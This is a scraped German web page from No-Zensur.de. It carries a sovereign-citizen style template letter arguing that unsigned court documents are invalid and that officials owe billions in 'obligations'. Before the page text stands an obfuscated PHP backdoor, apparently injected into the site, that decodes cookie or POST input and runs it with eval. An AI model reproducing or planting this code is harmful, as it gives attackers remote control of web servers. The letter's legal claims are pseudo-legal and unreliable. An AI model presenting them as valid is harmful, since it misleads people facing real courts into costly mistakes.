$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Mustertext ohne Unterschrift rechtfähig (§ 12 BGB) – No-Zensur.de Das freie Wort für eine freie Welt
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Mustertext ohne Unterschrift rechtfähig (§ 12 BGB)

Abhandlung zum Thema – ohne Unterschrift rechtfähig (§ 12 BGB) Mustertext  MT: 20170123- GdM – Mustertext ohne Unterschrift rechtfähig (§ 12 BGB)

Mustertext
Mustertext ohne Unterschrift rechtsfähig

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Frage und Problemlage: fehlende Unterschrift – wie kann das verstanden und bearbeitet werden. Die fiktionalen Justizbehörden (Jurisfiktion) behaupten, daß eine Erklärung ohne Unterschrift nicht gültig sei.

Dabei    unterschreibt    der    juristische    Funktionsrichter    nicht,    sondern    die    juristische Justizbeschäftigte.
Im Mustertext könnten schreibfehler Fehler sein, damit das als Muster nicht offiziell auffällt! Der Mensch verfügt in der Rechtdurchsetzung!

Verfügung: siehe Geschäftsangebot

Keine Unterschrift der Funktionsfiktion Richterin am Amtsgericht, eines anderen Bediensteten oder „im Auftrag“ ist rein privat und kann im öffentlichen Recht nicht einverstanden werden. Ohne  Unterschrift  oder  im  Auftrag  bedeutet  in  dem  Zusammenhang in  keinem  Grundrecht berechtigter Auftrag, also eine Geschäftführung ohne Auftrag illegitim und illegal zu führen. Ohne Unterschrift handelt es sich um einen Entwurf, der beglaubigt wird, das keine Funktionsfiktion Richterin am Amtsgericht haftet kann und will.

Zur Transformation von öffentlichem Recht aus der Gewaltentrennung müssen öffentliche Urkunden vorliegen. Der Beweis, daß der Vorgang unrichtig beurkundet sei, ist zulässig (§415 (2) ZPO, § 34, 44 VwVfG). Nach der Rechtsprechung des Bundesgerichtshofs gibt die Unterzeichnung im Auftrag im Gegensatz zur Unterzeichnung in Vollmacht zu erkennen, daß der Unterzeichnende für den Inhalt der Rechtsmittelschrift keine Verantwortung übernimmt. In diesem Fall ist er nur Erklärungsbote und ist formunwirksam.

BGH, Urteil vom 19. Juni 2007 – VI ZB 81/05
BGH, Urteil vom 31. März 2002 – II ZR 192/02
BGH, Urteil vom 5. November 1987 – V ZR 139/87

  • Im öffentlichen Recht gibt es keine Privatautonomie von Gemeinschaften.
  • Die Form der Norm bestimmt den Geltungsbereich des Rechts oder des nur im transzendenziellen Gesetzes.
  • Von der Form der Norm ist Rechtswahl und Gerichtsstand abhängig.

Deswegen sind alle Streithandlungen gegenüber Menschen, die von nicht recht- und prozeßfähige Personen ausgehen, verboten. Sollte es trotzdem zu einer Kollision kommen, muss das Völkerrecht vor Bundes- und Landesgesetzen angewandt werden.

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  • 12 Namensrecht. Ich, saida bin Herrin über Meine juristisch angedichtete Person, da Mein Namensrecht zu Meinem Inhaber und Urheberrecht gehört. Jede Verletzung Meines Namen wird mit einer Obligation in Höhe von 5 Milliraden €uro sofort vollstreckbar innerhalb der Organisationshaftung als Individualrecht gemäß § 305 b BGB vorrangig angenommen. Individuelle Vertragsabreden haben Vorrang vor Allgemeinen Geschäftsbedingungen.
  • 38 ZPO, § 17 HGB – ein an sich unzuständiges Gericht des ersten Rechtszuges wird durch ausdrückliche oder stillschweigende Vereinbarung der Parteien zuständig, wenn die Vertragsparteien Kaufleute sind. Die Zuständigkeit eines Gerichts des ersten Rechtszuges kann ferner vereinbart werden.
  • 362 HGB in der Obligationspflicht im Recht der Verträge – SR 0.111 beachten. Geht einem Kaufmanne, dessen Gewerbebetrieb die Besorgung von Geschäften für andere mit sich bringt, ein Antrag über die Besorgung solcher Geschäfte von jemand zu, mit dem er in Geschäfts- verbindung steht,  so  ist  er verpflichtet,  unverzüglich  zu  antworten;  sein  Schweigen  gilt als Annahme des Antrags. Das gleiche gilt, wenn einem Kaufmann ein Antrag über die Besorgung von Geschäften von jemand zugeht, dem gegenüber er sich zur Besorgung solcher Geschäfte erboten hat.

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Ihre Behauptung,  es ist daher nichts zu veranlassen, ist eine zustimmende Annahme! Wenn sie dann weiter machen, ist es eine Geschäftsführung ohne Auftrag! Sie haften für den Schaden, Folgeschaden und Folgebeseitigungsschaden.

In der Rechtrealität gilt beredete Zustimmung durch Schweigen, wer schweigt, wo er (wider)sprechen sollte und konnte, dem wird Zustimmung nach „qui tacet consentire videtur, ubi loqui debuit atque potuit“ unterstellt. Tatsachen, die nicht ausdrücklich bestritten werden, sind als zugestanden anzusehen, wenn nicht die Absicht, sie bestreiten zu wollen, aus den übrigen Erklärungen hervorgeht. Tatsachen, die offenkundig sind, bedürfen keines Beweises.

Obligationen  müssen  in  der Notwendigkeit  oder in  der beredeten  Zustimmung nicht  weiter begründet   werden.   Die   Obligation   ist   dann   in   der   Regel   ohne   Ausnahme   für   die Verantwortlichen der juristischen Personen angenommen, wenn die Beantwortung selbst oder einem Angehörigen des juristischen Gewaltverbandes die Gefahr zuziehen würde, wegen einer Straftat oder einer Ordnungswidrigkeit verfolgt zu werden.

Zudem wird damit die Obligation als rechtliche Konsequenz gegenüber der rechtwidrigen Tat zur Vollstreckung als Annahme bestätigt, denn Obligationen sind recht- und nicht prozeßfähig.

Anforderungen und Hinweis an den Schuldner:

Die Obligation ist im Zusatz „sofort vollstreckbar angenommen“ angenommen zu richten, denn Verträge sind einzuhalten – pacta sunt servanda! Einer Obligation kann nicht mehr widersprochen werden, wenn folgende Tatsachen

einer unerlaubten Handlung, einer ungerechtfertigten Bereicherung,
einer Geschäftsführung ohne Auftrag („Negotiorum gestio“)
oder eines Verschuldens bei Vertragsverhandlungen („Culpa in contrahendo“)

bereits eingetreten sind. Die öffentlichen Obligationsregeln und die Gerichtstandvereinbarung ergeben sich aus dem Völkerrecht und aus den nationalen und internationalen diplomatisch akkreditierten  Urkunden  des  haager  Abkommens  im  Regulierungsakt  der  Apostille  vom
05.10.1961 nach jesus christus Geburt durch die Gleichschaltung der Jurisfiktion, um

  1. den Verantwortlichen für sein Verhalten zu bestrafen (Repression),
  2. ihn davon abzuhalten, erneut dieses recht(s)widrige Verhalten zu begehen (Spezialprävention)
    und
  1. auch andere davon abzuhalten (Generalprävention).

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Ich habe keine private Vereinbarung mit ihnen, denn im öffentlichen Recht ist privates verboten. Nach § 38 ZPO agieren sie nach § 17 HGB, in dem sie als Justizangestellte Mir mit der Unterschrift ein Zwangsgeschäft (Piraterie = Privat) anbieten, und somit den Schaden, Folgeschaden und den Folgeersatzschaden nach der vorrangigen Obligationspflicht zahlen müssen.Wer nach außen unterschreibt, haftet.

Da sie mit Mir eine  private Kriegshandlung, also eine Kollision betreiben, in dem sie Mich als Betroffen oder sonst wie als zugestellt bezeichnen und versuchen Meine Lebenszeit und Mein Hab  und  Gut (Genesis – Bauen und Bewahren in der Garantenpflicht) zu rauben, ist diese aggressive Handlung ein Kriegsverbrechen, weil sie Mein Recht verletzen möchten.

Ihre schriftliche Lüge, es ist nicht zu veranlassen und dann weiter machen, ist strafbar im Völkerrecht, denn nur dann, wenn Ich nach § 38 ZPO, §17 HGB unterschreibe und weiter mache, habe Ich, so der irre Gedanke von ihnen, Mich dem Geschäft gebeugt.

Das wäre Hochverrat, denn Mein Recht ist in  Art. 1 Grundrecht unverletzlich und unveräußerlich und somit weder verhandelbar noch justiziabel. Sie verletzen Meine Menschenwürde. Da sie als Amtsgericht die Strafverfolgung im Vorrang zu gewähren haben, beschuldige Ich sie wegen Kriegsverbrechen nach dem Völkerstrafgesetzbuch, denn es ist nicht zu erwarten, daß sie das Geld  für  die  Obligation  aufbringen  können.  Das  Justizministerium  hat  erklärt,  daß  die Jurisfiktion weder Grundrecht berechtigt noch Grundrecht befugt ist, weil sie grundsätzlich noch nicht ein Mal prozeßfähig sind. Wie möchten sie denn einen Prozeß machen, wenn die Prozeßfähigkeit nicht ein Mal besteht?

Das ist eine Pseudo-Justiz, der Ich als Mensch nicht zustimmen kann. Wenn sie Mir noch ein Mal  etwas  zustellen  wollen,  also  Mein  Recht  beschneiden  möchten,  gilt die Obligation als vollstreckbar angenommen.

Deswegen kann Ich wegen Verletzung Meines Inhaber- und Urheberrechtes in  § 12 BGB selbst in der Jurisfiktion kein Dokument unterschreiben und annehmen, weil das alles Müll im Positivismus ist. Positivismus verstößt gegen Art. 1 Grundrecht und führt zum Hochverrat, denn Mein Recht ist in Art. 1 Grundrecht unverletzlich und unveräußerlich und somit weder verhandelbar   noch   justiziabel.   Sie   sind   damit   gemäß   §  16  GVG   keine   zugelassene Gerichtstandvereinbarung. Mein Gerichtstand ist im Rubrum und Rechtwahl der Gerichthof der Menschen gemäß §§ 18-20 GVG definiert, weil Ich nicht der Jurisfiktion angehöre. Ich bin bei der humanitären Nichtregierung-Organisation IZMR tätig und sie müssen in  Art. 24 (3), 25, 79 (3) Grundgesetz die Friedens- und Obligationspflicht im vorrangingem Völkerrecht vor Bundes- und Landesgesetzen einfach und ohne Widerspruch erzwingen.

  • 81 StGB betrifft ihre Tathandlung gegen Mein Recht, wer es unternimmt, mit Gewalt oder durch Drohung mit Gewalt
  1. den Bestand der Bundesrepublik Deutschland zu beeinträchtigen oder
  1. die auf dem Grundgesetz der Bundesrepublik Deutschland beruhende verfassungsmäßige Ordnung zu ändern, wird mit lebenslanger Freiheitsstrafe oder mit Freiheitsstrafe nicht unter zehn Jahren bestraft.

Sie können von Mir keine Unterschrift bekommen. Ich kann keinen Vertrag mit ihnen eingehen, wenn sie nicht Grundrecht berechtigt und nicht prozeßfähig sind.

Betrug ist,  Wer in der Absicht, sich oder einem Dritten einen rechtswidrigen Vermögensvorteil zu verschaffen, das Vermögen eines anderen dadurch beschädigt, daß er durch Vorspiegelung falscher oder durch Entstellung oder Unterdrückung wahrer Tatsachen einen Irrtum erregt oder unterhält. Das wird mit einer Freiheitsstrafe von bis zu fünf Jahren oder mit Geldstrafe bestraft. Der Versuch allein ist strafbar. Wenn sie die Obligation nicht bezahlen, obwohl sie im Bewußsein weiter machen, kommen noch 5 Jahre Haft dazu! Mein Gerichtstand ist Gerichthof der Menschen, Bielfeldtweg 26 in [D-21682] STADE.

Art. 149 genfer Abkommen IV. – SR 0.518.51 Gerichthof der Menschen, Belpstraße 4 in [CH-3074] MURI / BERN

Diese Verfügung ist ohne Unterschrift rechtgültig, weil öffentliches Recht vorrangig im Kollisionsfall anzuwenden gilt (Art. 25 GG, Art. 6, 38-42 EGBGB).

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Quelle des Textes:
http://www.ichr.de